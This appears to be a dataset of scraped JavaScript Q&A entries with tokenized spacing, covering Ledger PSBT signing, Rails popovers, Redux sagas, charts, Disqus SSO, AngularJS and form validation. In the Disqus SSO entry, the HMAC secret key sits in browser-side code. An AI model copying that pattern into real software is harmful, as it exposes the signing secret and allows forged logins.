previousTx:02000000000101869362410c61a69ab9390b2167d08219662196e869626e8b0350f1a8e4075efb0100000017160014ef3fdddccdb6b53e6dd1f5a97299a6ba2e1c11c3ffffffff0240420f000000000017a914f748afee815f78f97672be5a9840056d8ed77f4887df9de6050000000017a9142ff4aa6ffa987335c7bdba58ef4cbfecbe9e49938702473044022061a01bf0fbac4650a9b3d035b3d9282255a5c6040aa1d04fd9b6b52ed9f4d20a022064e8e2739ef532e6b2cb461321dd20f5a5d63cf34da3056c428475d42c9aff870121025fb5240daab4cee5fa097eef475f3f2e004f7be702c421b6607d8afea1affa9b00000000- paths : [ `` 0'/0/0 '' ] - redeemScript : ( non-multisig segwit ) 00144328adace54072cd069abf108f97cf80420b212b /* tslint : disable */// @ ts-checkrequire ( 'regenerator-runtime ' ) ; const bip39 = require ( 'bip39 ' ) ; const { default : Transport } = require ( ' @ ledgerhq/hw-transport-node-hid ' ) ; const { default : AppBtc } = require ( ' @ ledgerhq/hw-app-btc ' ) ; const bitcoin = require ( 'bitcoinjs-lib ' ) ; const mnemonics = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about ' ; const NETWORK = bitcoin.networks.regtest ; /** * @ param { string } pk * @ returns { string } */function compressPublicKey ( pk ) { const { publicKey } = bitcoin.ECPair.fromPublicKey ( Buffer.from ( pk , 'hex ' ) ) ; return publicKey.toString ( 'hex ' ) ; } /** @ returns { Promise < any > } */async function appBtc ( ) { const transport = await Transport.create ( ) ; const btc = new AppBtc ( transport ) ; return btc ; } const signTransaction = async ( ) = > { const ledger = await appBtc ( ) ; const paths = [ `` 0'/0/0 '' ] ; const [ path ] = paths ; const previousTx = `` 02000000000101869362410c61a69ab9390b2167d08219662196e869626e8b0350f1a8e4075efb0100000017160014ef3fdddccdb6b53e6dd1f5a97299a6ba2e1c11c3ffffffff0240420f000000000017a914f748afee815f78f97672be5a9840056d8ed77f4887df9de6050000000017a9142ff4aa6ffa987335c7bdba58ef4cbfecbe9e49938702473044022061a01bf0fbac4650a9b3d035b3d9282255a5c6040aa1d04fd9b6b52ed9f4d20a022064e8e2739ef532e6b2cb461321dd20f5a5d63cf34da3056c428475d42c9aff870121025fb5240daab4cee5fa097eef475f3f2e004f7be702c421b6607d8afea1affa9b00000000 '' const utxo = bitcoin.Transaction.fromHex ( previousTx ) ; const segwit = utxo.hasWitnesses ( ) ; const txIndex = 0 ; // ecpairs things . const seed = await bip39.mnemonicToSeed ( mnemonics ) ; const node = bitcoin.bip32.fromSeed ( seed , NETWORK ) ; const ecPrivate = node.derivePath ( path ) ; const ecPublic = bitcoin.ECPair.fromPublicKey ( ecPrivate.publicKey , { network : NETWORK } ) ; const p2wpkh = bitcoin.payments.p2wpkh ( { pubkey : ecPublic.publicKey , network : NETWORK } ) ; const p2sh = bitcoin.payments.p2sh ( { redeem : p2wpkh , network : NETWORK } ) ; const redeemScript = p2sh.redeem.output ; const fromLedger = await ledger.getWalletPublicKey ( path , { format : 'p2sh ' } ) ; const ledgerPublicKey = compressPublicKey ( fromLedger.publicKey ) ; const bitcoinJsPublicKey = ecPublic.publicKey.toString ( 'hex ' ) ; console.log ( { ledgerPublicKey , bitcoinJsPublicKey , address : p2sh.address , segwit , fromLedger , redeemScript : redeemScript.toString ( 'hex ' ) } ) ; var tx1 = ledger.splitTransaction ( previousTx , true ) ; const psbt = new bitcoin.Psbt ( { network : NETWORK } ) ; psbt.addInput ( { hash : utxo.getId ( ) , index : txIndex , nonWitnessUtxo : Buffer.from ( previousTx , 'hex ' ) , redeemScript , } ) ; psbt.addOutput ( { address : 'mgWUuj1J1N882jmqFxtDepEC73Rr22E9GU ' , value : 5000 , } ) ; psbt.setMaximumFeeRate ( 1000 * 1000 * 1000 ) ; // ignore maxFeeRate we 're testnet anyway . psbt.setVersion ( 2 ) ; /** @ type { string } */ // @ ts-ignore const newTx = psbt.__CACHE.__TX.toHex ( ) ; console.log ( { newTx } ) ; const splitNewTx = await ledger.splitTransaction ( newTx , true ) ; const outputScriptHex = await ledger.serializeTransactionOutputs ( splitNewTx ) .toString ( `` hex '' ) ; const expectedOutscriptHex = '0188130000000000001976a9140ae1441568d0d293764a347b191025c51556cecd88ac ' ; // stolen from : https : //github.com/LedgerHQ/ledgerjs/blob/master/packages/hw-app-btc/tests/Btc.test.js console.log ( { outputScriptHex , expectedOutscriptHex , eq : expectedOutscriptHex === outputScriptHex } ) ; const inputs = [ [ tx1 , 0 , p2sh.redeem.output.toString ( 'hex ' ) /** ? ? ? */ ] ] ; const ledgerSignatures = await ledger.signP2SHTransaction ( inputs , paths , outputScriptHex , 0 , // lockTime , undefined , // sigHashType = SIGHASH_ALL ? ? ? utxo.hasWitnesses ( ) , 2 , // version ? ? , ) ; const signer = { network : NETWORK , publicKey : ecPrivate.publicKey , /** @ param { Buffer } $ hash */ sign : ( $ hash ) = > { const expectedSignature = ecPrivate.sign ( $ hash ) ; // just for comparison . const [ ledgerSignature0 ] = ledgerSignatures ; const decodedLedgerSignature = bitcoin.script.signature.decode ( Buffer.from ( ledgerSignature0 , 'hex ' ) ) ; console.log ( { $ hash : $ hash.toString ( 'hex ' ) , expectedSignature : expectedSignature.toString ( 'hex ' ) , actualSignature : decodedLedgerSignature.signature.toString ( 'hex ' ) , } ) ; // return signature ; return decodedLedgerSignature.signature ; } , } ; psbt.signInput ( 0 , signer ) ; const validated = psbt.validateSignaturesOfInput ( 0 ) ; psbt.finalizeAllInputs ( ) ; const hex = psbt.extractTransaction ( ) .toHex ( ) ; console.log ( { validated , hex } ) ; } ; if ( process.argv [ 1 ] === __filename ) { signTransaction ( ) .catch ( console.error ) }",how to sign bitcoin psbt with ledger ? "JS : I 'm having a problem rendering a partial in a bootstrap popover in my rails app.The partial is always rendered as a plain text ( showing all the HTML tags etc ) .this is the code from the index.html.erbIn the app.js I have this snippetand this is the _e1.html.erb partial in the envs folderI have wrapped `` < % = render : partial = > 'envs/e1 ' % > '' this line in both raw ( ) and html_safe without any luck . * ADDED EXAMPLES *below are examples on how I 've been using html_safeand raw in the snippeddata-content= raw ( `` < % = render : partial = > 'envs/e1 ' % > '' ) - text appears the `` right '' way but outsite the popover.data-content= `` < % = raw ( render : partial = > 'envs/e1 ' ) % > '' > - text appears as plain-textdata-content= `` < % = render : partial = > raw ( 'envs/e1 ' ) % > '' > - text appears as plain-textdata-content= `` < % = render : partial = > 'envs/e1 ' % > '' .html_safe- text appears as plain-textdata-content= `` < % = render : partial = > 'envs/e1'.html_safe % > '' - text appears as plain-textthere must be some way to have the partial styled inside the popover ? ? Or am I doing this all wrong ? please advise methanks in advance . < span class= '' has-popover '' style= '' cursor : pointer ; '' data-toggle= '' popover '' data-trigger= '' hover '' data-container= '' body '' data-placement= '' right '' title= '' Lorem Ipsum '' data-content= `` < % = render : partial = > 'envs/e1 ' % > '' > < i class= '' fa fa-question-circle `` aria-hidden= '' true '' > < /i > < /span > $ ( `` .has-popover '' ) .popover ( { html : true } ) ; < h2 > Mauris euismod sollicitudin ? < /h2 > < p > Morbi sit amet tellus pellentesque , maximus eros a , aliquam nunc . Vivamus velit velit , vestibulum at eros eu , iaculis hendrerit tortor . Morbi ullamcorper purus at ornare ullamcorper . < /p > < br > < p > Morbi sit amet tellus pellentesque , maximus eros a , aliquam nunc . Vivamus velit velit , vestibulum at eros eu , iaculis hendrerit tortor . Morbi ullamcorper purus at ornare ullamcorper . < /p >",Rendering partial in bootstrap popover rails 5 app ? "JS : I am working on CANVASjS and build a sample app which is displaying data on chart . I have enabled export to save chart in .png and .jpeg and print also . While deploying it on ripple emulator the export is working perfect but when i deploy it on my android device it 's not working . Below is the code part in which i have enabled export.Update 1 : Update 2 : Bellow are the info images and a link of OS versions of android devices on which i have tried Galaxy j7 2015I do n't know what is the main problem of it . Any help would be highly appreciated . var chart = new CanvasJS.Chart ( `` container '' , { zoomEnabled : true , zoomType : `` xy '' , animationEnabled : true , animationDuration : 2000 , exportEnabled : true , // all other chart code } ) ; function drawChart ( data ) { var chart = new CanvasJS.Chart ( `` container '' , { zoomEnabled : true , zoomType : `` xy '' , animationEnabled : true , animationDuration : 2000 , exportEnabled : true , exportFileName : `` Column Chart '' , title : { text : `` Energy vs Date Time '' } , axisY : { title : `` EnergykWh '' , interlacedColor : `` # F8F1E4 '' , tickLength : 10 , suffix : `` k '' , } , legend : { cursor : `` pointer '' , itemclick : function ( e ) { if ( typeof ( e.dataSeries.visible ) === `` undefined '' || e.dataSeries.visible ) { e.dataSeries.visible = false ; } else { e.dataSeries.visible = true ; } e.chart.render ( ) ; } } , dataPointWidth : 20 , data : [ { //legendText : `` EngergykWh '' , showInLegend : true , type : 'column ' , //xValueType : `` dateTime '' , xValueFormatString : `` DD/MMM/YYYY h : mm TT '' , //xValueFormatString : `` YYYY-MM-DD hh : mm : ss TT '' , showInLegend : true , name : `` series1 '' , legendText : `` EnergykWh '' , dataPoints : data } ] } ) ; chart.render ( ) ; }",Canvas js export enable not working on android device "JS : Please , check the EditI 'm trying to implement sagas in my app.Right now I am fetching the props in a really bad way.My app consists mainly on polling data from other sources.Currently , this is how my app works : I have containers which have mapStateToProps , mapDispatchToProps.and then , I have actions , like this : and reducers , like the below one : I combine the reducers with redux 's combineReducers and export them as a single reducer , which , then , I import to my store.Because I use drizzle , my rootSaga is this : So , now , when I want to update the props , inside the componentWillReceiveProps of the component , I do : this.props.someAction ( ) Okay , it works , but I know that this is not the proper way . Basically , it 's the worst thing I could do.So , now , what I think I should do : Create distinct sagas , which then I 'll import inside the rootSaga file . These sagas will poll the sources every some predefined time and update the props if it is needed.But my issue is how these sagas should be written.Is it possible that you can give me an example , based on the actions , reducers and containers that I mentioned above ? Edit : I managed to follow apachuilo 's directions.So far , I made these adjustments : The actions are like this : and the reducers , like this : I also created someSagas : and then , updated the rootSaga : Also , the api is the following : So , I 'd like to update my questions : My APIs are depended to the store 's state . As you may understood , I 'm building a dApp . So , Drizzle ( a middleware that I use in orderto access the blockchain ) , needs to be initiated before I callthe APIs and return information to the components . Thus , a . Trying reading the state with getState ( ) , returns me empty contracts ( contracts that are not `` ready '' yet ) - so I ca n't fetch the info - Ido not like reading the state from the store , but ... b . Passing the state through the component ( this.props.someFunc ( someState ) , returns me Can not read property 'data ' of undefined The funny thing is that I can console.log thestate ( it seems okay ) and by trying to just ` return { data : 'someData ' } , the props are receiving the data.Should I run this.props.someFunc ( ) on , for e.g. , componentWillMount ( ) ? Is this the proper way to update the props ? Sorry for the very long post , but I wanted to be accurate.Edit for 1b : Uhh , so many edits : ) I solved the issue with the undefined resolve . Just had to write the API like this : const mapStateToProps = state = > { return { someState : state.someReducer.someReducerAction , } ; } ; const mapDispatchToProps = ( dispatch ) = > { return bindActionCreators ( { someAction , someOtherAction , ... } , dispatch ) } ; const something = drizzleConnect ( something , mapStateToProps , mapDispatchToProps ) ; export default something ; import * as someConstants from '../constants/someConstants ' ; export const someFunc = ( someVal ) = > ( dispatch ) = > { someVal.methods.someMethod ( ) .call ( ) .then ( res = > { dispatch ( { type : someConstants.FETCH_SOMETHING , payload : res } ) } ) } export default function someReducer ( state = INITIAL_STATE , action ) { switch ( action.type ) { case types.FETCH_SOMETHING : return ( { ... state , someVar : action.payload } ) ; import { all , fork } from 'redux-saga/effects'import { drizzleSagas } from 'drizzle'export default function* root ( ) { yield all ( drizzleSagas.map ( saga = > fork ( saga ) ) , ) } export const someFunc = ( payload , callback ) = > ( { type : someConstants.FETCH_SOMETHING_REQUEST , payload , callback } ) export default function IdentityReducer ( state = INITIAL_STATE , { type , payload } ) { switch ( type ) { case types.FETCH_SOMETHING_SUCCESS : return ( { ... state , something : payload , } ) ; ... ... variousImportsimport * as apis from '../apis/someApi'function* someHandler ( { payload } ) { const response = yield call ( apis.someFunc , payload ) response.data ? yield put ( { type : types.FETCH_SOMETHING_SUCCESS , payload : response.data } ) : yield put ( { type : types.FETCH_SOMETHING_FAILURE } ) } export const someSaga = [ takeLatest ( types.FETCH_SOMETHING_REQUEST , someHandler ) ] import { someSaga } from './sagas/someSagas'const otherSagas = [ ... someSaga , ] export default function* root ( ) { yield all ( [ drizzleSagas.map ( saga = > fork ( saga ) ) , otherSagas ] ) } export const someFunc = ( payload ) = > { payload.someFetching.then ( res = > { return { data : res } } ) //returns 'data ' of undefined but just `` return { data : 'something ' } returns that 'something ' export function someFunc ( payload ) { return payload.someFetching.then ( res = > { return ( { data : res } ) } ) }",Dispatch actions the proper way "JS : I want to convert numerals into other language numerals , how can I do this ? I want to be able to support as many languages as possible ( google translation supported languages ) . I 've been reading and I believe this can be done from charcode.Here is some code I copied from some Javascript application , but it only supports 2 languages . TextTools.arabicNumber = function ( str ) { var res = String ( str ) .replace ( / ( [ 0-9 ] ) /g , function ( s , n , ofs , all ) { return String.fromCharCode ( 0x0660 + n * 1 ) ; } ) ; return res ; } TextTools.farsiNumber = function ( str ) { var res = String ( str ) .replace ( / ( [ 0-9 ] ) /g , function ( s , n , ofs , all ) { return String.fromCharCode ( 0x06F0 + n * 1 ) ; } ) ; return res ; }",numerals charcode convert into another language numerals "JS : I 'm trying to do a stacked area chart using c3js like in this example , however , my lines wo n't stack—they are just being placed on top of each other , like so : Here 's my code : c3.generate ( { data : { json : [ { `` metricDate '' : `` 2016-02-08 '' , `` vlp '' : 9046 , `` other '' : 904 , `` vdp '' : 10000 , `` home '' : 3543 } , { `` metricDate '' : `` 2016-02-09 '' , `` vdp '' : 7000 , `` other '' : 1103 , `` home '' : 3667 , `` vlp '' : 9542 } , { `` metricDate '' : `` 2016-02-10 '' , `` other '' : 1043 , `` vlp '' : 9751 , `` home '' : 3681 , `` vdp '' : 5000 } , { `` metricDate '' : `` 2016-02-11 '' , `` other '' : 1433 , `` home '' : 4059 , `` vdp '' : 4000 , `` vlp '' : 9924 } ] , type : 'area-spline ' , keys : { x : 'metricDate ' , value : [ `` vlp '' , `` home '' , `` vdp '' , `` other '' ] } } , axis : { x : { type : 'timeseries ' , } } } ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/d3/3.5.16/d3.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/c3/0.4.10/c3.js '' > < /script > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/c3/0.4.10/c3.css '' rel= '' stylesheet '' / > < div id= '' chart '' > < /div >",C3js stacked Area-Spline chart wo n't stack "JS : I am trying to integrate Disqus SSO in my site.Every thing is fine , the payload that is getting generated is also validated correctly on Disqus SSO debug tool . Still the user is not getting signed in using SSO.And also this message is getting printed on the javascript console : It looks like there was a problem : Error : Not enough data { stack : ( ... ) , message : `` Not enough data '' } message : `` Not enough data '' stack : ( ... ) get stack : function ( ) { [ native code ] } arguments : nullcaller : nulllength : 0name : `` '' prototype : StackTraceGetter__proto__ : function Empty ( ) { } set stack : function ( ) { [ native code ] } arguments : nullcaller : nulllength : 1name : `` '' prototype : StackTraceSetter__proto__ : function Empty ( ) { } proto : dr.DiscoveryApp.a.Model.extend.onComplete @ discovery.bundle.fce1a5edaced8a1898cef54c2d9fb2bf.js:2 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9p @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9o @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9e @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9p @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9o @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9c @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9p @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9o @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9c @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9 ( anonymous function ) @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.js:9p @ common.bundle.91cd39decece4de79b12c1d2e99a09c8.j var DISQUS_SECRET = `` xyz '' ; var DISQUS_PUBLIC = `` abc '' ; var disqus_developer = 1 ; function disqusSignon ( ) { var disqusData = { id : `` { { user.id } } '' , username : `` { { user.username } } '' , email : `` { { user.email } } '' } ; var disqusStr = JSON.stringify ( disqusData ) ; var timestamp = Math.round ( +new Date ( ) / 1000 ) ; var message = window.btoa ( disqusStr ) ; var result = CryptoJS.HmacSHA1 ( message + `` `` + timestamp , DISQUS_SECRET ) ; var hexsig = CryptoJS.enc.Hex.stringify ( result ) ; return { pubKey : DISQUS_PUBLIC , auth : message + `` `` + hexsig + `` `` + timestamp } ; } var data = disqusSignon ( ) ; function disqus_config ( ) { this.callbacks.afterRender = [ function ( ) { this.page.remote_auth_s3 = data.auth ; this.page.api_key = data.pubKey ; } ] ; } var disqus_config = function ( ) { this.page.remote_auth_s3 = data.auth ; this.page.api_key = data.pubKey ; } var disqus_shortname = 'askpopulo ' ; /* * * DO N'T EDIT BELOW THIS LINE * * */ ( function ( ) { var dsq = document.createElement ( 'script ' ) ; dsq.type = 'text/javascript ' ; dsq.async = true ; dsq.src = '// ' + disqus_shortname + '.disqus.com/embed.js ' ; ( document.getElementsByTagName ( 'head ' ) [ 0 ] || document.getElementsByTagName ( 'body ' ) [ 0 ] ) .appendChild ( dsq ) ; } ) ( ) ;",Not enough data error : while doing Disqus SSO "JS : My goal is to create a UI Bootstrap datepicker that also has an input mask . The datepicker directive only validates dates chosen with the popup window and not dates the user would type in by hand , so I looked up how to add custom validation for the text input.I have all of this working in this Plunk.Here are the important bits : Now I want to do something simple , which is add a getterSetter to my input so I can do some work on the value before persisting it to the model.I change the ng-model on my element , add ng-model-options to reference my getterSetter , and add the actual getterSetter method.However , even this simple Plunk with getterSetter , which essentially does nothing introduces an error . If I : Type in an invalid day , say 09/10/2011Correct it to a valid day ( by typing ) , say 09/10/2015The value disappearsI ca n't figure out why the introduction of this simple getterSetter is causing my value to be lost . Should I be implementing this in a different way ? < ! -- HTML -- > < span > Errors : { { myForm.myDate. $ error } } < /span > < input name= '' myDate '' type= '' text '' class= '' form-control '' ng-class= '' { error : myForm.myDate. $ invalid & & myForm.myDate. $ dirty } '' datepicker-popup= '' MM/dd/yyyy '' ng-model= '' dt '' is-open= '' opened '' min-date= '' '09/01/2015 ' '' max-date= '' '11/11/2015 ' '' ng-required= '' true '' show-weeks= '' false '' show-button-bar= '' false '' / > // JavaScript.controller ( 'DatepickerDemoCtrl ' , function ( $ scope ) { $ scope.dt = undefined ; $ scope.open = function ( $ event ) { $ scope.opened = ! $ scope.opened ; } ; $ scope.today = new Date ( ) ; } ) .config ( function ( $ provide ) { $ provide.decorator ( 'datepickerPopupDirective ' , function ( $ delegate ) { var directive = $ delegate [ 0 ] ; var link = directive.link ; directive.compile = function ( ) { return function ( scope , iEl , iAttrs , ctrls ) { link.apply ( this , arguments ) ; // use custom validator to enforce date range on hand-entered text ctrls [ 0 ] . $ validators.inDateRange = function ( modelValue , viewValue ) { console.log ( modelValue , viewValue ) ; // use the ranges provided in the attributes for the validation var enteredDate = new Date ( viewValue ) , min = new Date ( iAttrs.minDate ) , max = new Date ( iAttrs.maxDate ) ; return ctrls [ 0 ] . $ isEmpty ( modelValue ) || ( min < = enteredDate & & enteredDate < = max ) ; } ; // apply input mask to the text field iEl.mask ( '99/99/9999 ' ) ; } ; } ; return $ delegate ; } ) ; } ) ; < ! -- HTML -- > ng-model= '' getSetDate '' ng-model-options= '' { getterSetter : true } '' // JavaScript $ scope.getSetDate = function ( val ) { if ( angular.isDefined ( val ) ) { $ scope.dt = val ; } else { return val ; } } ;",Values disappearing with AngularJS / UI Bootstrap custom $ validator and getterSetter "JS : Just so there is no misunderstanding , this question is not about allowing for optional parameters in a JS function . My question is motiviated by the jQuery parseXML function , which is defined in jQuery.js as follows : Within the body of the function , the parameters xml and and tmp are both assigned before they are used . That means they are being used as local variables , so the function could have been defined like this : What is the benefit of doing it the first way , other than saving a few characters in the minified version of jQuery.js ? // Cross-browser xml parsing// ( xml & tmp used internally ) parseXML : function ( data , xml , tmp ) { ... } parseXML : function ( data ) { var xml , tmp ; ... }",What is the purpose/benefit of using ignored parameters in a JavaScript function ? "JS : am trying to get the text content of all h tags in my html page using js.but my code stops working when a specific h tag does n't exist . i could n't succeed writing the if statement testing if an h tag does n't exit do smth.my html : my js : Any help , thx < h1 > < a href= '' '' > just a link < /a > HTML testing File < /h1 > < h2 > Another text < /h2 > < h4 > An h4 text < /h4 > window.onload = word ; function word ( ) { var h= [ `` h1 '' , '' h2 '' , '' h3 '' , '' h4 '' , '' h5 '' , '' h6 '' ] ; var headings = [ ] ; for ( var i =0 ; i < h.length ; i++ ) { if ( document.getElementsByTagName ( h [ i ] ) ) { headings [ i ] = document.querySelector ( h [ i ] ) .textContent ; alert ( headings [ i ] ) ; } else { alert ( h [ i ] + '' does n't exist '' ) ; } } }",how to get all headings tags values using js "JS : I want to create a page that refreshes content within a div async alongside providing a user with an anchor to enable direct access to the content within the div . ( e.g . www.website.co.uk/ # page1 ) I 've managed to make it so that the content can be updated for 1 page , however , if I add multiple pages it stops workingAdditionally - if I was to navigate to the URL website.co.uk/ # page1 it wont display # page1 . Can anyone help ? This is my current code : HTML : JS : < h5 > < a href= '' # page1 '' > Test < /a > < /h5 > < h5 > < a href= '' # page2 '' > Test2 < /a > < /h5 > < script type= '' text/javascript '' > var routes = { ' # page1 ' : ' { { site.url } } /page1 ' ' # page2 ' : ' { { site.url } } /page2 ' } ; var routeHandler = function ( event ) { var hash = window.location.hash , xhttp = new XMLHttpRequest ( ) ; xhttp.onreadystatechange = function ( ) { if ( xhttp.readyState == 4 & & xhttp.status == 200 ) { document.getElementById ( `` div1 '' ) .innerHTML = xhttp.responseText ; } } ; xhttp.open ( `` GET '' , routes [ hash ] , true ) ; xhttp.send ( ) ; } ; window.addEventListener ( 'hashchange ' , routeHandler ) ; window.addEventListener ( 'load ' , function ( ) { var hash = window.location.hash ; if ( routes.hasOwnProperty ( hash ) ) routehandler ( ) ; } ) ; < /script >",Using AJAX to change div content - how do I display navigation as hash / anchor "JS : Is it possible to use JSPDF to save paragraphs < p > that include borders as a PDF , incorporating the formatting and keeping the elements in the center of the page ? The following code allows paragraphs to be generated when text pasted into the textarea . As demonstrated within this Fiddle it seems that it is possible to save a table as a PDF . However , is it possible to save the following dynamic paragraph and border as a PDF dynamically ? If an updated fiddle could be provided , it would be very much appreciated , as I am still new to coding.JSFiddleThank You ! HTML : JQuery : CSS : < div align= '' center '' > < h4 align= '' center '' > < u > Paste text in the field below to divide text into paragraphs. < /u > < /h4 > < textarea placeholder= '' Type text here , then press the button below . '' cols= '' 50 '' id= '' textarea1 '' rows= '' 10 '' > < /textarea > < br > < br > < button id= '' Go '' > Divide Text into Paragraphs ! < /button > < /div > < hr > < h2 align= '' center '' > Dynamic Paragraphs will appear below : < br > [ Paragraphs below for saving as PDF ] < /h2 > < div > < div align= '' center '' id= '' text_land '' style= '' font-family : monospace '' > < /div > < /div > $ ( function ( ) { $ ( `` # Go '' ) .on ( `` click '' , function ( ) { for ( var t= $ ( `` textarea '' ) .val ( ) , e=300 ; t.length ; ) { for ( ; t.length > e & & '' `` ! ==t.charAt ( e ) ; ) e++ ; $ ( `` # text_land '' ) .append ( `` < br > < /br > < p > '' +t.substring ( 0 , e ) + '' < /p > < br > < /br > '' ) , t=t.substring ( e ) , e=300 , $ ( `` p '' ) .attr ( `` contenteditable '' , '' true '' ) , $ ( `` p '' ) .addClass ( `` text '' ) } } ) } ) , $ ( `` select '' ) .on ( `` change '' , function ( ) { var t= $ ( `` # text_land p '' ) , e=this.dataset.property ; t.css ( e , this.value ) } ) .prop ( `` selectedIndex '' ,0 ) , end ; @ media print { p { page-break-inside : avoid } } p { position : relative } @ media print { .no-print , .no-print * { display : none ! important } } p { border-style : solid } p { color : # 000 } p { display : block ; text-align : justify ; border-width:5px ; font-size:19px } p { overflow : hidden ; height:300px ; width:460px ; word-wrap : break-word }",Save Paragraphs as a PDF dynamically ? "JS : I have a Kibana dashboard with URL : and I have a web application in which I am trying to embed the dashboard above in an < iframe > . The url in the web application is as followsand in AngularJs , I am doing : In my view : trustAsUrl filter is as follows : and I have : This causes / characters after /kibana # to be replaced with % 2F and ? with % 3F which causes Kibana not to be able to find the requested dashboard.How can I overcome this ? Thanks ! /logquery/app/kibana # /dashboard/Some-Dashboard ? someParameters /dashboards/logquery/app/kibana # /dashboard/Some-Dashboard ? someParameters ctrl.dashboardUrl = $ location.url ( ) .replace ( '/dashboards ' , `` ) ; < div ng-controller= '' DashboardCtrl as ctrl '' > < div class= '' iframe-container '' > < iframe ng-src= '' { { ctrl.dashboardUrl | trustAsUrl } } '' height= '' 100 % '' width= '' 100 % '' ng-cloak frameborder= '' 0 '' marginheight= '' 0 '' marginwidth= '' 0 '' > < /iframe > < /div > < /div > filtersGroup.filter ( 'trustAsUrl ' , [ ' $ sce ' , function ( $ sce ) { return function ( val ) { return $ sce.trustAsResourceUrl ( val ) ; } ; } ] ) ; $ locationProvider.html5Mode ( { enabled : true , requireBase : false , rewriteLinks : false } ) ;",Angular encodes url in ng-src and replaces '/ ' with % 2F and ' ? ' with % 3F "JS : I would like modify HTML liketoTo do it I will search using a string `` novice programmer '' . How can I do it please ? Any idea ? It search using more than one word `` novice programmer '' . It could be a whole sentence . The extra white space ( e.g . new line , tab ) should be ignored and any tag must be ignored during the search . But during the replacement tag must be preserved.It is a sort of converter . It will be better if it is case insensitive.Thank youSadiMore clarification : I get some nice reply with possible solution . But please keep posting if you have any idea in mind.I would like to more clarify the problem just in case anyone missed it . Main post shows the problem as an example scenario.1 ) Now the problem is find and replace some string without considering the tags . The tags may shows up within a single word . String may contain multiple word . Tag only appear in the content string or the document . The search phrase never contain any tags.We can easily remove all tags and do some text operation . But here the another problem shows up.2 ) The tags must be preserve , even after replacing the text . That is what the example shows.Thank you Again for helping I am < b > Sadi , novice < /b > programmer . I am < b > Sadi , learner < /b > programmer .",keep HTMLformat after replace some text ( using PHP and JS ) "JS : I 'm using the code below to validate ( through bootstrap-validator ) the content of each field in my contact form ( there 's also an extra check via google recaptcha ) . You can see and test the form at at this address.By default , the submit button is disabled < button id= '' submit-btn '' class= '' btn-upper btn-yellow btn '' name= '' submit '' type= '' submit '' disabled > < i class= '' fa fa-paper-plane-o '' aria-hidden= '' true '' > < /i > SEND < /button > , and is supposed to be re-enabled once all the fields are validated via bootstrap-validator and google recaptcha completed.Issue : the submit button gets re-enabled directly once the first field is filled-in so there must be something somewhere that reactivates it ( you can do a test by typing your name in the first field and then put your mouse over the submit button , and you will see that the button is active instead of disabled ) Any idea what the issue is and how to fix this ? Many thanksJS : Submit btn : Additional script on the contact page : my sendmessage.php : $ ( document ) .ready ( function ( ) { $ ( ' # contact_form ' ) .bootstrapValidator ( { feedbackIcons : { valid : 'fa fa-check ' , invalid : 'fa fa-times ' , validating : 'fa fa-refresh ' } , fields : { first_name : { validators : { stringLength : { min : 2 , } , notEmpty : { message : 'aaVeuillez indiquer votre prénom ' } } } , last_name : { validators : { stringLength : { min : 2 , } , notEmpty : { message : 'aaVeuillez indiquer votre nom ' } } } , email : { validators : { notEmpty : { message : 'aaVeuillez indiquer votre adresse e-mail ' } , regexp : { regexp : '^ [ ^ @ \\s ] + @ ( [ ^ @ \\s ] +\\ . ) + [ ^ @ \\s ] + $ ' , message : 'aaVeuillez indiquer une adresse e-mail valide ' } } } , message : { validators : { stringLength : { min : 20 , max : 1000 , message : 'aaVotre message doit faire plus de 20 caractères et moins de 1000 . ' } , notEmpty : { message : 'aaVeuillez indiquer votre message ' } } } } } ) .on ( 'success.form.bv ' , function ( e ) { e.preventDefault ( ) ; $ ( 'button [ name= '' submit '' ] ' ) .hide ( ) ; var bv = $ ( this ) .data ( 'bootstrapValidator ' ) ; // Use Ajax to submit form data $ .post ( $ ( this ) .attr ( 'action ' ) , $ ( this ) .serialize ( ) , function ( result ) { if ( result.status == 1 ) { $ ( ' # error_message ' ) .hide ( ) ; $ ( '.g-recaptcha ' ) .hide ( ) ; $ ( ' # success_message ' ) .slideDown ( { opacity : `` show '' } , `` slow '' ) ; $ ( ' # contact_form ' ) .data ( 'bootstrapValidator ' ) .resetForm ( ) } else { $ ( 'button [ name= '' submit '' ] ' ) .show ( ) ; $ ( ' # error_message ' ) .slideDown ( { opacity : `` show '' } , `` slow '' ) } } , 'json ' ) ; } ) ; } ) ; < button id= '' submit-btn '' class= '' btn-upper btn-yellow btn '' name= '' submit '' type= '' submit '' disabled > < i class= '' fa fa-paper-plane-o '' aria-hidden= '' true '' > < /i > ENVOYER < /button > < script type= '' text/javascript '' > function recaptcha_callback ( ) { $ ( ' # submit-btn ' ) .removeAttr ( 'disabled ' ) ; } < /script > < ? phprequire 'PHPMailer/PHPMailerAutoload.php ' ; $ mail = new PHPMailer ; $ mail- > CharSet = 'utf-8 ' ; $ email_vars = array ( 'message ' = > str_replace ( `` \r\n '' , ' < br / > ' , $ _POST [ 'message ' ] ) , 'first_name ' = > $ _POST [ 'first_name ' ] , 'last_name ' = > $ _POST [ 'last_name ' ] , 'phone ' = > $ _POST [ 'phone ' ] , 'email ' = > $ _POST [ 'email ' ] , 'organisation ' = > $ _POST [ 'organisation ' ] , 'server ' = > $ _SERVER [ 'HTTP_REFERER ' 